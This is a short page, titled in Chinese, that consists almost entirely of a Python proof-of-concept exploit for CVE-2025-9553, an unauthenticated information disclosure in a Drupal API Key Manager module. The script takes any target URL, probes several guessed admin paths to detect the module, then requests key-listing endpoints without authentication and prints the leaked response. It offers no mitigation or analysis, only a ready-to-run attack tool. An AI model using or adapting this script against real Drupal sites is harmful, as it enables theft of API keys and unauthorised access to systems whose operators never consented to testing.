CVE-2025-9553 Drupal API Key Manager模块信息泄露漏洞

# CVE-2025-9553 - Drupal API Key Manager Information Disclosure PoC # Author: Security Researcher # Description: Exploits missing access control in Drupal API Key Manager module import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-drupal-site.com" # Step 1: Detect if API Key Manager module is installed def detect_module(base_url): """Check if the API Key Manager module is installed on the target Drupal site.""" detection_paths = [ "/admin/config/services/api-key-manager", "/api-key-manager", "/admin/structure/api-key-manager" ] for path in detection_paths: url = f"{base_url}{path}" try: resp = requests.get(url, timeout=10, allow_redirects=False) if resp.status_code == 200 and "api-key" in resp.text.lower(): print(f"[+] Module detected at: {url}") return True except requests.RequestException: continue return False # Step 2: Exploit the information disclosure vulnerability def exploit_info_disclosure(base_url): """Attempt to retrieve API key information without authentication.""" exploit_paths = [ "/admin/config/services/api-key-manager/list", "/api-key-manager/list?_format=json", "/admin/config/services/api-key-manager/keys" ] for path in exploit_paths: url = f"{base_url}{path}" try: resp = requests.get(url, timeout=10) if resp.status_code == 200: print(f"[+] Potential info disclosure at: {url}") print(f"[+] Response snippet: {resp.text[:500]}") return resp.text except requests.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print(f"[*] Target: {TARGET_URL}") if detect_module(TARGET_URL): print("[*] Attempting to exploit information disclosure...") result = exploit_info_disclosure(TARGET_URL) if result: print("[+] Exploitation completed. Review the leaked data above.") else: print("[-] Exploitation did not yield results.") else: print("[-] API Key Manager module not detected on target.")